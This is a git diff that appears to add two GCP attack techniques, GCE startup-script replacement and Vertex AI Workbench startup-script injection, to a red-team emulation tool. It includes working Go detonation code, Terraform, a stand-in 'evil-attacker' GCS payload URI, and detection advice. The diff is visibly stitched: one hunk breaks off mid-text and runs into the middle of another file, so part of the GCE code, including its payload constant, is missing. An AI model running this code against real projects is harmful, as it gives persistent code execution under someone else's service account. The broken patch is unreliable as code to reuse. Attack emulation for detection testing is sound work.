diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md
new file mode 100755
index 000000000..86087c147
--- /dev/null
+++ b/docs/attack-techniques/GCP/gcp.execution.modify-gce-startup-script.md
@@ -0,0 +1,61 @@
+---
+title: Modify a GCE Instance Startup Script
+---
+
+# Modify a GCE Instance Startup Script
+
+ slow
+
+
+Platform: GCP
+
+## Mappings
+
+- MITRE ATT&CK
+ - Execution
+ - Privilege Escalation
+
+
+
+## Description
+
+
+Stops a GCE instance, modifies its startup script to execute an attacker-controlled payload on the
+next boot, and restarts it. An attacker with compute.instances.setMetadata permission
+can use this technique to achieve persistent code execution and privilege escalation through the
+instance's service account, without needing direct access to the instance.
+
+Warm-up:
+
+- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script
+
+Detonation:
+
+- Stop the GCE instance and wait for it to reach TERMINATED state
+- Replace the startup-script metadata value with a command that fetches
+ and executes a remote payload
+- Restart the instance
+
+References:
+
+- https://cloud.google.com/compute/docs/instances/startup-scripts/linux
+- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata
+- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/
+- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate gcp.execution.modify-gce-startup-script
+```
+## Detection
+
+
+Identify when a GCE instance's startup script is modified by monitoring for
+v1.compute.instances.setMetadata events in GCP Admin Activity audit logs
+where the metadata.items field contains a startup-script key
+that points to an external URL or contains suspicious commands. Correlate with
+preceding v1.compute.instances.stop events on the same instance.
+
+
diff --git a/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md
new file mode 100755
index 000000000..9f8179397
--- /dev/null
+++ b/docs/attack-techniques/GCP/gcp.execution.modify-vertex-notebook-startup.md
@@ -0,0 +1,69 @@
+---
+title: Inject a Malicious Startup Script into a Vertex AI Workbench Instance
+---
+
+# Inject a Malicious Startup Script into a Vertex AI Workbench Instance
+
+ slow
+
+
+Platform: GCP
+
+## Mappings
+
+- MITRE ATT&CK
+ - Execution
+ - Privilege Escalation
+
+
+
+## Description
+
+
+Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a
+remote script on the next start by injecting a malicious URL into the instance's
+post-startup-script metadata field. An attacker with
+notebooks.instances.update permission can use this technique to
+achieve persistent code execution inside the notebook environment, run under
+the instance's service account identity.
+
+Warm-up:
+
+- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a)
+
+Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page.
+
+Detonation:
+
+- Patch the Workbench instance's GCE setup metadata to set
+ post-startup-script to a fictitious attacker-controlled GCS URI
+ (gs://evil-attacker-<project-id>-<random>/malicious.sh)
+
+Revert:
+
+- Remove the post-startup-script metadata key from the instance
+
+References:
+
+- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction
+- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch
+- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/
+- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate gcp.execution.modify-vertex-notebook-startup
+```
+## Detection
+
+
+Identify when a Vertex AI Workbench instance's metadata is modified by monitoring
+for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in
+GCP Admin Activity audit logs. Alert when the post-startup-script or
+startup-script metadata fields are added or changed to external URLs,
+which may indicate an attempt to establish persistent code execution in the notebook
+environment.
+
+
diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md
index bba57f11e..195bca875 100755
--- a/docs/attack-techniques/GCP/index.md
+++ b/docs/attack-techniques/GCP/index.md
@@ -9,6 +9,13 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Steal and Use the GCE Default Service Account Token from Outside Google Cloud](./gcp.initial-access.use-compute-sa-outside-gcp.md)
+## Execution
+
+ - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md)
+
+ - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md)
+
+
## Persistence
- [Register SSH public key to instance metadata](./gcp.lateral-movement.add-sshkey-instance-metadata.md)
@@ -24,12 +31,16 @@ Note that some Stratus attack techniques may correspond to more than a single AT
## Privilege Escalation
+ - [Modify a GCE Instance Startup Script](./gcp.execution.modify-gce-startup-script.md)
+
- [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md)
- [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md)
- [Impersonate GCP Service Accounts](./gcp.privilege-escalation.impersonate-service-accounts.md)
+ - [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./gcp.execution.modify-vertex-notebook-startup.md)
+
## Defense Evasion
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index 3f323b0f6..07a91b3a9 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -79,6 +79,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Disable VPC Flow Logs on a Subnet](./GCP/gcp.defense-evasion.remove-vpc-flow-logs.md) | [GCP](./GCP/index.md) | Defense Evasion |
| [Read GCE Instance Metadata via the Compute API](./GCP/gcp.discovery.download-instance-metadata.md) | [GCP](./GCP/index.md) | Discovery |
| [Enumerate Permissions of a GCP Service Account](./GCP/gcp.discovery.enumerate-permissions.md) | [GCP](./GCP/index.md) | Discovery |
+| [Modify a GCE Instance Startup Script](./GCP/gcp.execution.modify-gce-startup-script.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation |
| [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration |
@@ -101,4 +102,5 @@ This page contains the list of all Stratus Attack Techniques.
| [Impersonate GCP Service Accounts](./GCP/gcp.privilege-escalation.impersonate-service-accounts.md) | [GCP](./GCP/index.md) | Privilege Escalation |
| [Delete a GCP Log Sink](./GCP/gcp.defense-evasion.delete-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion |
| [Disable a GCP Log Sink](./GCP/gcp.defense-evasion.disable-logging-sink.md) | [GCP](./GCP/index.md) | Defense Evasion |
+| [Inject a Malicious Startup Script into a Vertex AI Workbench Instance](./GCP/gcp.execution.modify-vertex-notebook-startup.md) | [GCP](./GCP/index.md) | Execution, Privilege Escalation |
| [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion |
diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md
index e62efe97a..d4e954f47 100644
--- a/docs/attack-techniques/mitre-attack-coverage-matrices.md
+++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md
@@ -53,15 +53,15 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
compute.instances.setMetadata permission
+can use this technique to achieve persistent code execution and privilege escalation through the
+instance's service account, without needing direct access to the instance.
+
+Warm-up:
+
+- Create a GCE instance (e2-micro, us-central1-a) with a benign startup script
+
+Detonation:
+
+- Stop the GCE instance and wait for it to reach TERMINATED state
+- Replace the startup-script metadata value with a command that fetches
+ and executes a remote payload
+- Restart the instance
+
+References:
+
+- https://cloud.google.com/compute/docs/instances/startup-scripts/linux
+- https://cloud.google.com/compute/docs/reference/rest/v1/instances/setMetadata
+- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/
+- https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform/
+`,
+ Detection: `
+Identify when a GCE instance's startup script is modified by monitoring for
+v1.compute.instances.setMetadata events in GCP Admin Activity audit logs
+where the metadata.items field contains a startup-script key
+that points to an external URL or contains suspicious commands. Correlate with
+preceding v1.compute.instances.stop events on the same instance.
+`,
+ Platform: stratus.GCP,
+ IsIdempotent: false,
+ IsSlow: true,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ })
+}
+
+func newInstancesClient(ctx context.Context, providers stratus.CloudProviders) (*compute.InstancesClient, error) {
+ client, err := compute.NewInstancesRESTClient(ctx, providers.GCP().Options())
+ if err != nil {
+ return nil, fmt.Errorf("failed to create Compute instances client: %w", err)
+ }
+ return client, nil
+}
+
+// waitForInstanceStatus polls until the instance reaches the desired status.
+func waitForInstanceStatus(
+ ctx context.Context,
+ client *compute.InstancesClient,
+ projectId, zone, instanceName, desiredStatus string,
+) error {
+ const maxAttempts = 60
+ const pollInterval = 10 * time.Second
+
+ for attempt := 0; attempt < maxAttempts; attempt++ {
+ instance, err := client.Get(ctx, &computepb.GetInstanceRequest{
+ Project: projectId,
+ Zone: zone,
+ Instance: instanceName,
+ })
+ if err != nil {
+ return fmt.Errorf("failed to get instance %s status: %w", instanceName, err)
+ }
+ if instance.GetStatus() == desiredStatus {
+ return nil
+ }
+ log.Printf("Waiting for instance %s to reach %s (current: %s, attempt %d/%d)\n",
+ instanceName, desiredStatus, instance.GetStatus(), attempt+1, maxAttempts)
+ time.Sleep(pollInterval)
+ }
+ return fmt.Errorf("instance %s did not reach status %s after %d attempts", instanceName, desiredStatus, maxAttempts)
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ gcp := providers.GCP()
+ projectId := gcp.GetProjectId()
+ instanceName := params["instance_name"]
+ zone := params["zone"]
+ ctx := context.Background()
+
+ client, err := newInstancesClient(ctx, providers)
+ if err != nil {
+ return err
+ }
+ defer client.Close()
+
+ log.Printf("Replacing startup script on GCE instance %s with a remote payload fetcher\n", instanceName)
+
+ log.Printf("Stopping instance %s\n", instanceName)
+ stopOp, err := client.Stop(ctx, &computepb.StopInstanceRequest{
+ Project: projectId,
+ Zone: zone,
+ Instance: instanceName,
+ })
+ if err != nil {
+ return fmt.Errorf("failed to stop instance %s: %w", instanceName, err)
+ }
+
+ if err = stopOp.Wait(ctx); err != nil {
+ return fmt.Errorf("failed waiting for instance %s to stop: %w", instanceName, err)
+ }
+
+ // The operation completing does not guarantee the instance is TERMINATED —
+ // poll until the status is confirmed before calling SetMetadata.
+ if err = waitForInstanceStatus(ctx, client, projectId, zone, instanceName, "TERMINATED"); err != nil {
+ return err
+ }
+
+ // Fetch the current metadata fingerprint; SetMetadata requires it to
+ // prevent lost-update races.
+ instance, err := client.Get(ctx, &computepb.GetInstanceRequest{
+ Project: projectId,
+ Zone: zone,
+ Instance: instanceName,
+ })
+ if err != nil {
+ return fmt.Errorf("failed to get instance %s metadata: %w", instanceName, err)
+ }
+
+ log.Printf("Setting startup-script on instance %s\n", instanceName)
+ setMetaOp, err := client.SetMetadata(ctx, &computepb.SetMetadataInstanceRequest{
+ Project: projectId,
+ Zone: zone,
+ Instance: instanceName,
+ MetadataResource: &computepb.Metadata{
+ Fingerprint: instance.GetMetadata().Fingerprint,
+ Items: []*computepb.Items{
+ {
+ Key: ptr("startup-script"),
+ Value: ptr(maliciousStartupScript),
+ },
+ },
+ },
+ })
+ if err != nil {
+ return fmt.Errorf("failed to set metadata on instance %s: %w", instanceName, err)
+ }
+
+ if err = setMetaOp.Wait(ctx); err != nil {
+ return fmt.Errorf("failed waiting for SetMetadata on instance %s: %w", instanceName, err)
+ }
+
+ log.Printf("Starting instance %s\n", instanceName)
+ startOp, err := client.Start(ctx, &computepb.StartInstanceRequest{
+ Project: projectId,
+ Zone: zone,
+ Instance: instanceName,
+ })
+ if err != nil {
+ return fmt.Errorf("failed to start instance %s: %w", instanceName, err)
+ }
+
+ if err = startOp.Wait(ctx); err != nil {
+ return fmt.Errorf("failed waiting for instance %s to start: %w", instanceName, err)
+ }
+
+ log.Printf("Successfully replaced startup script on instance %s — malicious payload will execute on next boot\n", instanceName)
+ return nil
+}
+
+func ptr[T any](v T) *T {
+ return &v
+}
diff --git a/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf
new file mode 100644
index 000000000..9bb4474c1
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script/main.tf
@@ -0,0 +1,69 @@
+terraform {
+ required_providers {
+ google = {
+ source = "hashicorp/google"
+ version = "~> 6.18.1"
+ }
+ random = {
+ source = "hashicorp/random"
+ version = "~> 3.3.2"
+ }
+ }
+}
+
+locals {
+ resource_prefix = "stratus-red-team-mgss" # modify gce startup script
+}
+
+resource "random_string" "suffix" {
+ length = 8
+ special = false
+ min_lower = 8
+}
+
+resource "google_service_account" "instance_sa" {
+ account_id = "${local.resource_prefix}-${random_string.suffix.result}"
+ display_name = "Stratus Red Team - Modify GCE Startup Script"
+}
+
+resource "google_compute_network" "vpc" {
+ name = "${local.resource_prefix}-vpc-${random_string.suffix.result}"
+ auto_create_subnetworks = true
+}
+
+resource "google_compute_instance" "instance" {
+ name = "${local.resource_prefix}-${random_string.suffix.result}"
+ machine_type = "e2-micro"
+ zone = "us-central1-a"
+
+ boot_disk {
+ initialize_params {
+ image = "debian-cloud/debian-11"
+ }
+ }
+
+ network_interface {
+ network = google_compute_network.vpc.self_link
+ }
+
+ metadata = {
+ startup-script = "#!/bin/bash\necho 'Legitimate startup script'"
+ }
+
+ service_account {
+ email = google_service_account.instance_sa.email
+ scopes = ["cloud-platform"]
+ }
+}
+
+output "instance_name" {
+ value = google_compute_instance.instance.name
+}
+
+output "zone" {
+ value = google_compute_instance.instance.zone
+}
+
+output "display" {
+ value = format("GCE instance %s in zone %s", google_compute_instance.instance.name, google_compute_instance.instance.zone)
+}
diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go
new file mode 100644
index 000000000..701067cc7
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.go
@@ -0,0 +1,194 @@
+package gcp
+
+import (
+ "context"
+ "crypto/rand"
+ _ "embed"
+ "encoding/hex"
+ "fmt"
+ "log"
+ "maps"
+ "time"
+
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus"
+ "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
+ notebooks "google.golang.org/api/notebooks/v2"
+)
+
+//go:embed main.tf
+var tf []byte
+
+func init() {
+ stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
+ ID: "gcp.execution.modify-vertex-notebook-startup",
+ FriendlyName: "Inject a Malicious Startup Script into a Vertex AI Workbench Instance",
+ Description: `
+Modifies a Vertex AI Workbench (user-managed notebook) instance to execute a
+remote script on the next start by injecting a malicious URL into the instance's
+post-startup-script metadata field. An attacker with
+notebooks.instances.update permission can use this technique to
+achieve persistent code execution inside the notebook environment, run under
+the instance's service account identity.
+
+Warm-up:
+
+- Create a Vertex AI Workbench instance (e2-standard-2, us-central1-a)
+
+Note: This technique requires the Notebooks API (notebooks.googleapis.com) to be enabled in your GCP project. If it is not enabled, the warm-up will fail with a 403 error pointing to the API enablement page.
+
+Detonation:
+
+- Patch the Workbench instance's GCE setup metadata to set
+ post-startup-script to a fictitious attacker-controlled GCS URI
+ (gs://evil-attacker-<project-id>-<random>/malicious.sh)
+
+Revert:
+
+- Remove the post-startup-script metadata key from the instance
+
+References:
+
+- https://cloud.google.com/vertex-ai/docs/workbench/user-managed/manage-notebooks-introduction
+- https://cloud.google.com/vertex-ai/docs/workbench/reference/rest/v2/projects.locations.instances/patch
+- https://sra.io/blog/privilege-escalation-in-aws-and-gcp-machine-learning-instances/
+- https://unit42.paloaltonetworks.com/privilege-escalation-llm-model-exfil-vertex-ai/
+`,
+ Detection: `
+Identify when a Vertex AI Workbench instance's metadata is modified by monitoring
+for google.cloud.notebooks.v2.NotebookService.UpdateInstance events in
+GCP Admin Activity audit logs. Alert when the post-startup-script or
+startup-script metadata fields are added or changed to external URLs,
+which may indicate an attempt to establish persistent code execution in the notebook
+environment.
+`,
+ Platform: stratus.GCP,
+ IsIdempotent: false,
+ IsSlow: true,
+ MitreAttackTactics: []mitreattack.Tactic{mitreattack.Execution, mitreattack.PrivilegeEscalation},
+ PrerequisitesTerraformCode: tf,
+ Detonate: detonate,
+ Revert: revert,
+ })
+}
+
+func newNotebooksService(ctx context.Context, providers stratus.CloudProviders) (*notebooks.Service, error) {
+ svc, err := notebooks.NewService(ctx, providers.GCP().Options())
+ if err != nil {
+ return nil, fmt.Errorf("failed to create Notebooks client: %w", err)
+ }
+ return svc, nil
+}
+
+func instancePath(projectId, location, instanceName string) string {
+ return fmt.Sprintf("projects/%s/locations/%s/instances/%s", projectId, location, instanceName)
+}
+
+// waitForNotebooksOperation polls a Notebooks long-running operation until it
+// completes or the maximum number of attempts is reached.
+func waitForNotebooksOperation(ctx context.Context, svc *notebooks.Service, opName string) error {
+ const maxAttempts = 60
+ const pollInterval = 10 * time.Second
+
+ for attempt := range maxAttempts {
+ op, err := svc.Projects.Locations.Operations.Get(opName).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to poll Notebooks operation %s: %w", opName, err)
+ }
+ if op.Done {
+ if op.Error != nil {
+ return fmt.Errorf("notebooks operation %s failed: %s", opName, op.Error.Message)
+ }
+ return nil
+ }
+ log.Printf("Waiting for Notebooks patch operation to complete (attempt %d/%d)\n", attempt+1, maxAttempts)
+ time.Sleep(pollInterval)
+ }
+ return fmt.Errorf("notebooks operation %s did not complete after %d attempts", opName, maxAttempts)
+}
+
+func setPostStartupScript(ctx context.Context, svc *notebooks.Service, projectId, location, instanceName, scriptURL string) error {
+ path := instancePath(projectId, location, instanceName)
+
+ // Fetch the current instance to preserve any existing GCE setup fields.
+ instance, err := svc.Projects.Locations.Instances.Get(path).Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to get Workbench instance %s: %w", path, err)
+ }
+
+ // Preserve existing metadata and inject / remove the post-startup-script key.
+ metadata := make(map[string]string)
+ if instance.GceSetup != nil && instance.GceSetup.Metadata != nil {
+ maps.Copy(metadata, instance.GceSetup.Metadata)
+ }
+
+ if scriptURL == "" {
+ delete(metadata, "post-startup-script")
+ } else {
+ metadata["post-startup-script"] = scriptURL
+ }
+
+ patchedGceSetup := ¬ebooks.GceSetup{
+ Metadata: metadata,
+ }
+
+ op, err := svc.Projects.Locations.Instances.Patch(path, ¬ebooks.Instance{
+ GceSetup: patchedGceSetup,
+ }).UpdateMask("gceSetup.metadata").Context(ctx).Do()
+ if err != nil {
+ return fmt.Errorf("failed to patch Workbench instance %s: %w", path, err)
+ }
+
+ return waitForNotebooksOperation(ctx, svc, op.Name)
+}
+
+func detonate(params map[string]string, providers stratus.CloudProviders) error {
+ gcp := providers.GCP()
+ projectId := gcp.GetProjectId()
+ instanceName := params["instance_name"]
+ location := params["location"]
+ ctx := context.Background()
+
+ svc, err := newNotebooksService(ctx, providers)
+ if err != nil {
+ return err
+ }
+
+ // The post-startup-script field only accepts gs:// URIs — the script is fetched
+ // from GCS when the instance boots, so GCP does not validate the bucket exists at
+ // patch time. Using a fictitious attacker-controlled bucket simulates the attack.
+ // GCS bucket names are globally unique, so a random suffix is added to the project
+ // ID to prevent a third party from pre-registering the bucket name.
+ var nonce [4]byte
+ if _, err = rand.Read(nonce[:]); err != nil {
+ return fmt.Errorf("failed to generate random nonce: %w", err)
+ }
+ maliciousURL := fmt.Sprintf("gs://evil-attacker-%s-%s/malicious.sh", projectId, hex.EncodeToString(nonce[:]))
+ log.Printf("Injecting post-startup-script %s into Workbench instance %s\n", maliciousURL, instanceName)
+ if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, maliciousURL); err != nil {
+ return err
+ }
+
+ log.Printf("Successfully injected malicious startup script into Workbench instance %s — script will execute on next start\n", instanceName)
+ return nil
+}
+
+func revert(params map[string]string, providers stratus.CloudProviders) error {
+ gcp := providers.GCP()
+ projectId := gcp.GetProjectId()
+ instanceName := params["instance_name"]
+ location := params["location"]
+ ctx := context.Background()
+
+ svc, err := newNotebooksService(ctx, providers)
+ if err != nil {
+ return err
+ }
+
+ log.Printf("Removing post-startup-script from Workbench instance %s\n", instanceName)
+ if err = setPostStartupScript(ctx, svc, projectId, location, instanceName, ""); err != nil {
+ return err
+ }
+
+ log.Printf("Successfully removed malicious startup script from Workbench instance %s\n", instanceName)
+ return nil
+}
diff --git a/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf
new file mode 100644
index 000000000..7a1d53c2b
--- /dev/null
+++ b/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup/main.tf
@@ -0,0 +1,56 @@
+terraform {
+ required_providers {
+ google = {
+ source = "hashicorp/google"
+ version = "~> 6.18.1"
+ }
+ random = {
+ source = "hashicorp/random"
+ version = "~> 3.3.2"
+ }
+ }
+}
+
+locals {
+ resource_prefix = "stratus-red-team-mvns" # modify vertex notebook startup
+}
+
+resource "random_string" "suffix" {
+ length = 8
+ special = false
+ min_lower = 8
+}
+
+resource "google_compute_network" "vpc" {
+ name = "${local.resource_prefix}-vpc-${random_string.suffix.result}"
+ auto_create_subnetworks = true
+}
+
+resource "google_workbench_instance" "notebook" {
+ name = "${local.resource_prefix}-${random_string.suffix.result}"
+ location = "us-central1-a"
+
+ gce_setup {
+ machine_type = "e2-standard-2"
+
+ boot_disk {
+ disk_size_gb = 150
+ }
+
+ network_interfaces {
+ network = google_compute_network.vpc.self_link
+ }
+ }
+}
+
+output "instance_name" {
+ value = google_workbench_instance.notebook.name
+}
+
+output "location" {
+ value = google_workbench_instance.notebook.location
+}
+
+output "display" {
+ value = format("Vertex AI Workbench instance %s in %s ready", google_workbench_instance.notebook.name, google_workbench_instance.notebook.location)
+}
diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go
index c93da6143..23b16719a 100644
--- a/v2/internal/attacktechniques/main.go
+++ b/v2/internal/attacktechniques/main.go
@@ -74,6 +74,8 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/defense-evasion/remove-vpc-flow-logs"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/download-instance-metadata"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/discovery/enumerate-permissions"
+ _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-gce-startup-script"
+ _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/execution/modify-vertex-notebook-startup"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot"